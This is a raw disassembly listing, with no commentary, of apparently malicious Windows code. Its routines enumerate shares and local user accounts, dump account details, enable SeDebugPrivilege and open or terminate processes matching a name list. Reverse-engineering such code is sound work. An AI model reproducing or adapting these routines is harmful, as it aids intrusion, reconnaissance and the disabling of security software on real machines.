sub_4190A5+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_427188 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DB83C, 1 mov ebp, eax jnz short loc_4190EF or byte_4DB83C, 1 lea eax, [ebp+1] push eax call sub_41D9A5 pop ecx mov dword_4DB5DC, eax loc_4190EF: ; CODE XREF: sub_4190A5+32j push esi push esi push ebp push dword_4DB5DC push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DB5DC pop edi pop ebp pop ebx pop esi retn sub_4190A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41910C proc near ; CODE XREF: sub_418FE5+6Ep ; sub_41A6EA+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov edi, eax call sub_419177 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41C990 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_419177 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CB8C8 pop edi leave retn sub_41910C endp ; =============== S U B R O U T I N E ======================================= sub_419177 proc near ; CODE XREF: sub_41910C+Ap ; sub_41910C+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_419184 pop ebp retn ; --------------------------------------------------------------------------- loc_419184: ; CODE XREF: sub_419177+9j push ebx push esi mov esi, dword_4270E8 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41D9A5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_419177 endp ; =============== S U B R O U T I N E ======================================= sub_4191B8 proc near ; CODE XREF: sub_418FE5+20p ; sub_41A3C6+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419177 push [esp+8+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx push 0 push eax push esi call dword_4CB8A0 pop esi retn sub_4191B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4191DB proc near ; CODE XREF: sub_401ACD+45AEp var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_419177 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 18h loc_419214: ; CODE XREF: sub_4191DB+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CB918 mov ebx, eax cmp ebx, esi jz short loc_419277 cmp ebx, 0EAh jz short loc_419277 push ebx push ebx call sub_4199AC pop ecx push eax lea eax, [ebp+var_210] push offset unk_439C10 push eax call sub_41C266 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 24h jmp short loc_4192E4 ; --------------------------------------------------------------------------- loc_419277: ; CODE XREF: sub_4191DB+5Dj ; sub_4191DB+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_4192DB mov eax, [ebp+var_4] lea esi, [eax+14h] loc_419285: ; CODE XREF: sub_4191DB+FCj push dword ptr [esi+10h] call dword_4CB8BC test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_41929C mov eax, offset aNo ; "No" loc_41929C: ; CODE XREF: sub_4191DB+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41C266 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_419285 xor esi, esi loc_4192DB: ; CODE XREF: sub_4191DB+A2j push [ebp+var_4] call dword_4CBA64 loc_4192E4: ; CODE XREF: sub_4191DB+9Aj cmp ebx, 0EAh jz loc_419214 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_4191DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192FC proc near ; CODE XREF: sub_401ACD:loc_4060EDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_4193A1 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_41933E dec eax jz short loc_419333 dec eax jnz short loc_419359 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_419443 add esp, 14h jmp short loc_419355 ; --------------------------------------------------------------------------- loc_419333: ; CODE XREF: sub_4192FC+1Dj push ebx push edi call sub_419422 pop ecx pop ecx jmp short loc_419355 ; --------------------------------------------------------------------------- loc_41933E: ; CODE XREF: sub_4192FC+1Aj cmp [ebp+arg_8], edi jz short loc_419352 push [ebp+arg_8] push ebx push edi call sub_4193C8 add esp, 0Ch jmp short loc_419355 ; --------------------------------------------------------------------------- loc_419352: ; CODE XREF: sub_4192FC+45j push 57h pop eax loc_419355: ; CODE XREF: sub_4192FC+35j ; sub_4192FC+40j ... cmp eax, edi jnz short loc_419379 loc_419359: ; CODE XREF: sub_4192FC+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB840 push off_43951C[eax*4] push offset unk_439CC8 push esi call sub_41C266 add esp, 10h jmp short loc_4193C1 ; --------------------------------------------------------------------------- loc_419379: ; CODE XREF: sub_4192FC+5Bj push eax call sub_4199AC pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB840 push off_439518[eax*4] push offset unk_439C98 push esi call sub_41C266 add esp, 14h jmp short loc_4193C1 ; --------------------------------------------------------------------------- loc_4193A1: ; CODE XREF: sub_4192FC+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DB840 lea eax, [eax+eax*2] push off_439518[eax*4] push offset unk_439C70 push esi call sub_41C266 add esp, 0Ch loc_4193C1: ; CODE XREF: sub_4192FC+7Bj ; sub_4192FC+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_4192FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193C8 proc near ; CODE XREF: sub_4192FC+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov edi, eax call sub_419177 push [ebp+arg_8] mov [ebp+var_24], eax call sub_419177 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CB8AC pop edi leave retn sub_4193C8 endp ; =============== S U B R O U T I N E ======================================= sub_419422 proc near ; CODE XREF: sub_4192FC+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419177 push [esp+8+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx push eax push esi call dword_4CB89C pop esi retn sub_419422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419443 proc near ; CODE XREF: sub_4192FC+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CBA2C test eax, eax mov [ebp+arg_0], eax jnz loc_4197EB mov eax, [ebp+var_4] test eax, eax jz loc_419826 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41C266 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419562 dec eax jz short loc_41955B dec eax jz short loc_419554 mov eax, offset aUnknown ; "Unknown" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_419554: ; CODE XREF: sub_419443+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_41955B: ; CODE XREF: sub_419443+105j mov eax, offset aUser_0 ; "User" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_419562: ; CODE XREF: sub_419443+102j mov eax, offset aGuest ; "Guest" loc_419567: ; CODE XREF: sub_419443+10Fj ; sub_419443+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41C266 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 add esp, 20h pop edi pop ebx jmp short loc_419817 ; --------------------------------------------------------------------------- loc_4197EB: ; CODE XREF: sub_419443+35j push eax lea eax, [ebp+var_204] push offset unk_439CE8 push eax call sub_41C266 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409869 add esp, 20h loc_419817: ; CODE XREF: sub_419443+3A6j cmp [ebp+var_4], 0 jz short loc_419826 push [ebp+var_4] call dword_4CBA64 loc_419826: ; CODE XREF: sub_419443+40j ; sub_419443+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_419443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41982C proc near ; CODE XREF: sub_401ACD+463Ap var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_419177 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 18h loc_41986B: ; CODE XREF: sub_41982C+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CB934 cmp eax, esi mov [ebp+var_C], eax jz short loc_4198CC cmp eax, 0EAh jz short loc_4198CC push eax push eax call sub_4199AC pop ecx push eax lea eax, [ebp+var_218] push offset unk_439ED8 push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 24h jmp short loc_419947 ; --------------------------------------------------------------------------- loc_4198CC: ; CODE XREF: sub_41982C+62j ; sub_41982C+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41995A xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_419947 loc_4198DE: ; CODE XREF: sub_41982C+EDj cmp edi, esi jz short loc_41991D push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_4198DE jmp short loc_419947 ; --------------------------------------------------------------------------- loc_41991D: ; CODE XREF: sub_41982C+B4j lea eax, [ebp+var_218] push offset unk_439EA4 push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 1Ch loc_419947: ; CODE XREF: sub_41982C+9Ej ; sub_41982C+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41995A push edi call dword_4CBA64 xor edi, edi mov [ebp+var_4], edi loc_41995A: ; CODE XREF: sub_41982C+A5j ; sub_41982C+120j cmp [ebp+var_C], 0EAh jz loc_41986B cmp edi, esi jz short loc_419972 push edi call dword_4CBA64 loc_419972: ; CODE XREF: sub_41982C+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_41982C endp ; =============== S U B R O U T I N E ======================================= sub_4199AC proc near ; CODE XREF: sub_418FE5+41p ; sub_4191DB+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419A5E jz loc_419A57 cmp eax, 7Bh ja short loc_419A23 jz short loc_419A19 cmp eax, 5 jz short loc_419A0F cmp eax, 8 jz short loc_419A05 cmp eax, 32h jz short loc_4199FB cmp eax, 35h jz short loc_4199F1 cmp eax, 57h jnz loc_419AAD push offset aInvalidParamet ; "Invalid parameter." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_4199F1: ; CODE XREF: sub_4199AC+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_4199FB: ; CODE XREF: sub_4199AC+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A05: ; CODE XREF: sub_4199AC+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A0F: ; CODE XREF: sub_4199AC+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A19: ; CODE XREF: sub_4199AC+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A23: ; CODE XREF: sub_4199AC+1Aj sub eax, 7Ch jz short loc_419A50 sub eax, 7C8h jz short loc_419A49 dec eax jz short loc_419A3F dec eax jnz short loc_419AAD push offset aDuplicateShare ; "Duplicate share name." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A3F: ; CODE XREF: sub_4199AC+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A49: ; CODE XREF: sub_4199AC+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A50: ; CODE XREF: sub_4199AC+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A57: ; CODE XREF: sub_4199AC+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A5E: ; CODE XREF: sub_4199AC+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_419A97 jz short loc_419A90 sub eax, 8ADh jz short loc_419AC2 dec eax dec eax jz short loc_419A89 dec eax jz short loc_419A82 dec eax dec eax jnz short loc_419AAD push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A82: ; CODE XREF: sub_4199AC+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A89: ; CODE XREF: sub_4199AC+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A90: ; CODE XREF: sub_4199AC+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A97: ; CODE XREF: sub_4199AC+B9j sub eax, 8CAh jz short loc_419AC9 sub eax, 17h jz short loc_419AC2 sub eax, 25h jz short loc_419ABB sub eax, 29h jz short loc_419AB4 loc_419AAD: ; CODE XREF: sub_4199AC+35j ; sub_4199AC+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AB4: ; CODE XREF: sub_4199AC+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419ABB: ; CODE XREF: sub_4199AC+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AC2: ; CODE XREF: sub_4199AC+C2j ; sub_4199AC+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AC9: ; CODE XREF: sub_4199AC+F0j push offset aNetworkConnect ; "Network connection not found." loc_419ACE: ; CODE XREF: sub_4199AC+40j ; sub_4199AC+4Aj ... push offset dword_4DB5E0 call sub_41C266 pop ecx mov eax, offset dword_4DB5E0 pop ecx retn sub_4199AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419AE0 proc near ; CODE XREF: sub_401ACD+467Fp var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41E0D4 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26F0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41E0D4 lea eax, [ebp+var_718] push eax call sub_41E0B7 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CB9E4 test eax, eax jnz short loc_419B70 mov esi, offset dword_4DB3DC push offset unk_43A20C push esi call sub_41C266 pop ecx pop ecx jmp short loc_419B99 ; --------------------------------------------------------------------------- loc_419B70: ; CODE XREF: sub_419AE0+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_4199AC pop ecx mov esi, offset dword_4DB3DC push eax push offset dword_43A1E0 push esi call sub_41C266 add esp, 14h loc_419B99: ; CODE XREF: sub_419AE0+8Ej mov eax, esi pop esi leave retn sub_419AE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B9E proc near ; CODE XREF: sub_4172C1+45p ; sub_4172C1+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 276073Dh push eax call dword_4CB9B8 test eax, eax jnz short loc_419BBD leave retn ; --------------------------------------------------------------------------- loc_419BBD: ; CODE XREF: sub_419B9E+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CB990 test eax, eax jz short loc_419BFB cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419BE4 or [ebp+var_8], 2 jmp short loc_419BE8 ; --------------------------------------------------------------------------- loc_419BE4: ; CODE XREF: sub_419B9E+3Ej and [ebp+var_8], 0FFFFFFFDh loc_419BE8: ; CODE XREF: sub_419B9E+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CBA40 mov esi, eax loc_419BFB: ; CODE XREF: sub_419B9E+32j push [ebp+var_4] nop call near ptr 26808BBh mov eax, esi pop esi leave retn sub_419B9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C09 proc near ; CODE XREF: sub_401ACD+7770p ; sub_419E38+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CB9F4, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_419E08 cmp dword_4CB9D8, ebx jz loc_419E08 cmp dword_4CB8E8, ebx jz loc_419E08 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx push ebx push 0Fh call dword_4CB9F4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_419DFB lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CB9D8 mov esi, dword_427070 test eax, eax jz loc_419DF6 lea eax, [ebp+var_130] push eax push edi call dword_4CB8E8 test eax, eax jz loc_419DF6 mov edi, dword_42708C mov ebx, 1F0FFFh loc_419CCD: ; CODE XREF: sub_419C09+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_419D34 mov [ebp+var_4], offset off_43A238 loc_419CDB: ; CODE XREF: sub_419C09+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call near ptr 2861BB3h nop test eax, eax jz short loc_419D03 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_43A298 jb short loc_419CDB jmp loc_419DDC ; --------------------------------------------------------------------------- loc_419D03: ; CODE XREF: sub_419C09+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_419DDC push 0 push eax call near ptr 2750975h nop test eax, eax jnz loc_419DDC loc_419D2A: ; CODE XREF: sub_419C09+1B9j push [ebp+var_4] call esi jmp loc_419DDC ; --------------------------------------------------------------------------- loc_419D34: ; CODE XREF: sub_419C09+C9j cmp [ebp+arg_C], eax jnz loc_419DC7 cmp [ebp+arg_4], eax jz loc_419DDC push [ebp+var_128] push 8 call dword_4CB9F4 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_419D87 lea ecx, [ebp+var_354] push ecx push eax call dword_4CB894 push [ebp+var_128] test eax, eax jz short loc_419D8D lea eax, [ebp+var_234] jmp short loc_419D93 ; --------------------------------------------------------------------------- loc_419D87: ; CODE XREF: sub_419C09+15Cj push [ebp+var_128] loc_419D8D: ; CODE XREF: sub_419C09+174j lea eax, [ebp+var_10C] loc_419D93: ; CODE XREF: sub_419C09+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h jmp loc_419D2A ; --------------------------------------------------------------------------- loc_419DC7: ; CODE XREF: sub_419C09+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_419E0F loc_419DDC: ; CODE XREF: sub_419C09+F5j ; sub_419C09+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CB8E8 test eax, eax jnz loc_419CCD xor ebx, ebx loc_419DF6: ; CODE XREF: sub_419C09+9Dj ; sub_419C09+B3j push [ebp+var_8] call esi loc_419DFB: ; CODE XREF: sub_419C09+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx loc_419E08: ; CODE XREF: sub_419C09+3Aj ; sub_419C09+46j ... xor eax, eax loc_419E0A: ; CODE XREF: sub_419C09+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419E0F: ; CODE XREF: sub_419C09+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 